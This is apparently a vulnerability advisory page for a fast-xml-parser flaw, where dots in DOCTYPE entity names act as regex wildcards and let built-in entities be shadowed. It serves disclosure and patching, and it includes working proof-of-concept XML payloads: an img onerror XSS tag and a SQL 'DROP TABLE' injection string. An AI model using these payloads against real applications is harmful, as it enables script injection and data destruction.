🛡️ CVE-2026-25896 — fast-xml-parser

🔴 CVSS 9.5 — Critical ⚠️ Exploit Public CWE-185 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names

# Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", &apos;) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

```js

entities[entityName] = {

regx: RegExp(&${entityName};, "g"),

val: val

};

```

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

```js

// v6 EntitiesParser.js line 96

const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot

```

Shadowing all 5 built-in entities

| Entity name | Regex created | Shadows |

|---|---|---|

| l. | /&l.;/g | < |

| g. | /&g.;/g | > |

| am. | /&am.;/g | & |

| quo. | /&quo.;/g | " |

| apo. | /&apo.;/g | &apos; |

PoC

```js

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY l. "<img src=x onerror=alert(1)>">

]>

<root>

<text>Hello <b>World</b></text>

</root>`;

const result = new XMLParser().parse(xml);

console.log(result.root.text);

// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

```

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:

```js

const xml2 = `<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY am. "'; DROP TABLE users;--">

]>

<root>SELECT * FROM t WHERE name='O&Brien'</root>`;

const r = new XMLParser().parse(xml2);

console.log(r.root);

// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

```

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

  • Default config, no special options
  • Attacker can replace any < / > / & / " / &apos; with arbitrary strings
  • Direct XSS vector when parsed XML content is rendered in a page
  • v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

```js

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');

entities[entityName] = {

regx: RegExp(&${escaped};, "g"),

val: val

};

```

For v6, add . to the blacklist in validateEntityName:

```js

const specialChar = "!?\\/[].{}^&*()<>|+";

```

Severity

CWE-185 (Incorrect Regular Expression)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity high, availability none.

Weakness class

CVE-2026-25896 is classified as CWE-185: Incorrect Regular Expression. The product specifies a regular expression in a way that causes data to be improperly matched or compared.

Affected software

CVE-2026-25896 is recorded against 1 package.

  • fast-xml-parser

Timeline and source

Published on 20 February 2026 and last revised on 10 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

CVE-2026-25896 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
CWE CWE-185
Public Exploit ⚠️ Yes
Source OSV
Published 2026-02-20
Updated 2026-08-12
Modified 2026-08-10

Affected Packages

Software From version Fixed in
fast-xml-parser

Exploit Protection

Are you running fast-xml-parser?

CVE-2026-25896 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-25896 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026